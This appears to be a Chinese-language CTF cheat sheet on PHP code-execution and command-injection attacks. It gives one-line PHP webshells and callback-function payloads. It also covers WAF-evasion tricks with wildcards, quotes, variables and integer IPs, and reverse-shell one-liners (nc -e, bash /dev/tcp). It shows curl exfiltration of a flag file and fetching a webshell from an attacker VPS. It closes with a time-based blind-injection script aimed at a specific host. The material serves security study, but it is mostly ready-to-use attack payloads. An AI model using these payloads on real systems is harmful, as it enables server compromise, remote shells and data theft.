命令执行漏洞备忘录
- 代码执行
- 代码执行常见函数:
- 命令执行
- 常见命令执行函数
- 绕过disable_functions
- 命令执行WAF绕过
- 通配符
- 连接符
- 变量
- IP的等价表示法
- 命令分隔符
- 空格代替
- base编码绕过
- 字符串长度限制
- 无字母数字Webshell
- 无回显的命令执行
- 反弹shell
- curl
- 盲注
- 参考:
代码执行
代码执行常见函数:
1 2 3 4 5 6 7 8 9 | ? ${} ? eval ? assert ? preg_replace ? create_function() ? array_map() ? call_user_func()/call_user_func_array() ? array_filter() ? usort(),uasort() |
${}
1 2 3 | 用法:${php代码} ${phpinfo()}; |
eval()
1 | eval ( string $code ) : mixed |
把字符串 code 作为PHP代码执行。
? eval 是一个语言构造器而不是一个函数
? PHP eval() 把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
? 如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
? 在一个php文件中,eval执行完就会结束,所以当同一个php文件中有多个eval的时候,只会执行第一个。
1 | <?php @eval($_POST[cmd]);?> |
assert()
PHP 5
1 | assert ( mixed $assertion [, string $description ] ) : bool |
PHP 7
1 | assert ( mixed $assertion [, Throwable $exception ] ) : bool |
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。
assert 是一个函数,assert 这个函数在 php 语言中是用来判断一个表达式是否成立。返回 true or false;assert 函数的参数会被执行,这跟 eval() 类似。
1 | <?php assert($_POST['a']);?> |
assert函数支持动态调用(php < 7.0.29)
1 2 | $a = 'assert'; $a($_POST['a']); |

call_user_func 与 assert连用时会受到此版本限制
preg_replace()
1 | preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed |
执行一个正则表达式的搜索和替换,搜索subject中匹配pattern的部分, 以replacement进行替换。
执行代码需要使用/e修饰符。
1 2 | $a = 'phpinfo()'; $b = preg_replace("/abc/e",$b,'abcd'); |
PHP 5.5.0 起被弃用, 传入 “\e” 修饰符的时候,会产生一个 E_DEPRECATED 错误; PHP 7.0.0 起不再支持,会产生 E_WARNING 错误,同时 “\e” 也无法起效。请用 preg_replace_callback() 代替。
create_function()
1 | create_function ( string $args , string $code ) : string |
根据传递的参数创建一个匿名函数,并为其返回唯一的名称。此函数在内部执行eval()。
1 2 3 | $a = $_GET['chybeta']; $b = create_function('$a',"echo $a"); $b(''); |
第二个参数是执行代码的地方
1 2 3 4 | $id=$_GET['id']; $code = 'echo $name. '.'的编号是'.$id.'; '; $b = create_function('$name',$code); $b('sd'); |
这里直接传入phpinfo();是不行的,构造的payload
1 | ?id=2;}phpinfo();/* |
这里create_function的过程相当于
1 2 3 | function anonymous($name){ echo $name."编号".$id; } |
通过闭合和注释把phpinfo();引入代码执行
array_map()
1 | array_map ( callable $callback , array $array1 [, array $... ] ) : array |
第一个参数为用户自定义函数的名称,或者是 null。
array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
1 2 | $a = array(1, 2, 3, 4, 5); $b = array_map($_GET['id'], $a); |
?id=phpinfo //第一个参数传值需为字符串
1 2 3 4 | $a = $_GET['a']; $b = $_GET['b']; $array[0] = $b; //第二个参数应为数组 若没有这句代码 传值应为b[]=phpinfo $c = array_map($a,$array); |
?a=assert&b=phpinfo();
call_user_func()/call_user_func_array()
call_user_func — 把第一个参数作为回调函数调用
1 | call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed |
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
1 | call_user_func($_GET['a'],$_GET['b']); |
?a=assert&b=phpinfo();
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
1 | call_user_func_array ( callable $callback , array $param_arr ) : mixed |
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。和array_map()差不多。
1 2 3 4 | $a = $_GET['a']; $b = $_GET['b']; $array[0] = $b; //第二个参数应为数组 若没有这句代码 传值应为b[]=phpinfo(); call_user_func_array($a,$array); |
array_filter()
1 | array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array |
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
1 2 | $array[0] = $_GET['a']; array_filter($array,'assert'); |
usort()/uasort()
1 | usort ( array &$array , callable $value_compare_func ) : bool |
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。
php < 5.6
1 2 3 | usort($_GET[1],‘assert‘); ?1[]=phpinfo()&1[]=123&2=assert |
php > 5.6
1 2 3 | usort(...$_GET); //...$_GET是php5.6引入的新特性。即将数组展开成参数的形式。 ?1[]=test&1[]=phpinfo();&2=assert |
eval长度限制绕过 && PHP5.6新特性
ob_start()
1 | ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] ) : bool |
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。
1 2 3 | ob_start("system"); echo "whoami"; ob_end_flush(); |
命令执行
常见命令执行函数
有回显
? system()
? passthru()
无回显(要加echo)
? exec()
? shell_exec()
?
绕过disable_functions
webshell 无法执行系统命令,服务端 disable_functions禁用了命令执行函数。
严格的 disable_functions 限制项
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl,
1. 黑名单 bypass
查找漏网之鱼
2. 攻击后端组件
3. LD_PRELOAD
4. 特点版本漏洞
内容太多了,另外另外整理一篇
相关文章:
PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数
PHP中通过bypass disable functions执行系统命令的几种方式
bypass disable_function总结学习
无需sendmail:巧用LD_PRELOAD突破disable_functions
命令执行WAF绕过
通配符
1 2 3 4 5 | * 代表『 0 个到无穷多个』任意字符 ? 代表『一定有一个』任意字符 [ ] 同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』 [ - ] 若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表 0 到 9 之间的所有数字,因为数字的语系编码是连续的! [^ ] 若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思。 |
用于阻止所有在GET或POST请求参数内包含/etc/passwd或/bin/ls的规则, 且目标WAF也没那么”偏执“对?和/这类的字符进行阻止
1 2 3 4 5 | cat /etc/passwd => /?in/cat /et?/passw? ls => /b??/?s nc -e /bin/bash 127.0.0.1 8080 => /??n/?c -e /??n/b??h 2130706433 8080 //这里将IP地址转换成整型 ls *.???将列出当前目录中,具有3个字符长度的所有文件。诸如.gif,.jpg,.txt之类扩展名的文件 |
注意不要使用过多问号,因为/???/?t不仅可以被转换为/bin/cat,还可以是/dev/net 或 /etc/apt
连接符
单引号,双引号,反斜杆
1 2 3 4 5 6 | /etc/passwd => /'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd /bin/which nc => /'b'i'n'/'w'h'i'c'h' 'n'c //检测NC /bin/which wget => /'b'i'n'/'w'h'i'c'h' 'w'g'e't //检测wget /??n/n'c' -e /??n/b??h 2130706433 8000 n\c -e /b?n/b?sh 127.0.0.1 8000 ba\sh -i >& /dev/tcp/127.0.0.1/8000 0>&1 |
变量
未初始化的bash变量
在bash环境中允许我们使用未初始化的bash变量,未初始化的变量值都是null。这里用来混淆防火墙。
1 2 3 4 5 6 | /etc/passwd => cat$a /etc$a/passwd$a nc -e /bin/bash 127.0.0.1 8080 => /bin$s/nc$s -e /bin$s/bash$s 2130706433 8080 c\u\r\l$a 2130706433:8000 利用变量绕过敏感字符 a=l;b=s;$a$b |
IP的等价表示法
ip = ‘127.0.0.1’
1 2 3 4 5 6 7 8 9 | # 十六进制 print '0x' + ''.join([str(hex(int(i))[2:].zfill(2)) for i in ip.split('.')]) # 长整数 print int(''.join([str(hex(int(i))[2:].zfill(2)) for i in ip.split('.')]), 16) # 八进制 print '0' + oct(int(''.join([str(hex(int(i))[2:].zfill(2)) for i in ip.split('.')]), 16)) |
命令分隔符

空格代替
1 2 3 4 | < ${IFS} $IFS$9 %09用于url传递 |
base编码绕过
cat base64编码后为 Y2F0Cg==
1 | `echo 'Y2F0Cg==' | base64 -d` flag.txt |
字符串长度限制
利用续行符拆分命令成多行
\ 在linux里也是个连接符,最早使用在屏幕不能容纳超过18个字符的第一代计算机,用于连接上下两行

输出重定向和文件内容追加
1 2 3 4 | ? ">"一个大于号表示覆盖原文件内容 ? ">>"两个大于号表示在文件内容的末尾追加内容 ? 追加或覆写的内容,可以是一段指令的显示的内容 ? 如果要追加的目标文件不存在,则系统会自动创建 |
>文件名 可以创建文件,命令>文件名 可以将命令执行结果重定向到文件

echo "“字符串” > 目标文件

ls -t可以将文件按时间顺序排列
base64命令可以避免特殊字符
1 2 | 1. 用上面的技巧直接写马 2.可以写个马放到vps上,然后用上面的技巧使用wget,curl等方式下载vps上的马,本地执行 |
具体例题:[hitcon2017] BabyFirst Revenge ,[hitcon2017] BabyFirst Revenge v2
无字母数字Webshell
1.利用位运算
2.利用自增运算符
无字母数字Webshell之提高篇
一些不包含数字和字母的webshell
无回显的命令执行
用自己的vps,或者利用ceye平台记录在http request/ dns query
反弹shell
1 2 | nc -e /bin/bash ip port bash -i >& /dev/tcp/ip/port 0>&1 |
curl
直接ip发送get包
-d发送post包
1 | curl -d @/flag 127.0.0.1:8080 |
-v 显示整个通信过程
–data发送数据
可以这样执行命令:
1 2 | curl -v http://ip?whoami curl -v http://ip --data whoami |
在/var/log/apache2/access.log下看到命令执行的结果
盲注
时间盲注
1 2 | grep ^内容 /flag && sleep 10 grep ^内容 /flag && sleep 10 |
可以用&& ||实现三目运算 因为&&优先级比||高 &&执行的情况下||就不执行了 可以代替if
例题:DASCTF 5月赛 X BJD3rd 帮帮小红花
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | #以下脚本来自https://www.cnblogs.com/h3zh1/p/12945275.html import requests import time url = "http://183.129.189.60:10070/?imagin=" requests.adapters.DEFAULT_RETRIES = 3 # 最大重连次数防止出问题 SLEEP_TIME = 0.25 kai_shi = time.time() flag="" i = 0 # 计数器 print("[start]: -------") while( True ): head = 32 tail = 127 i += 1 while ( head < tail ) : mid = ( head + tail ) >> 1 payload = '''h3zh1=$( cat /flag | cut -c %d-%d );if [ $( printf '%%d' "'$h3zh1" ) -gt %d ];then sleep %f;fi''' % ( i, i, mid, SLEEP_TIME) start_time = time.time() # 开始 r = requests.get(url+payload) end_time = time.time() # 结束 #print(payload) if ( end_time - start_time > SLEEP_TIME ) : head = mid + 1 else : tail = mid if head!=32: flag += chr(head) print("[+]: "+flag) else: break print("[end]: "+flag) jie_shu = time.time() print("程序运行时间:"+str(jieshu - kaishi)) |
参考:
https://www.freebuf.com/articles/web/185158.html
https://www.freebuf.com/articles/web/186298.html
https://www.freebuf.com/articles/web/160175.html、
https://baijiahao.baidu.com/s?id=1663384918072293799&wfr=spider&for=pc
https://www.anquanke.com/post/id/87203
https://blog.csdn.net/JBlock/article/details/88311388
https://www.cnblogs.com/20175211lyz/p/11396392.html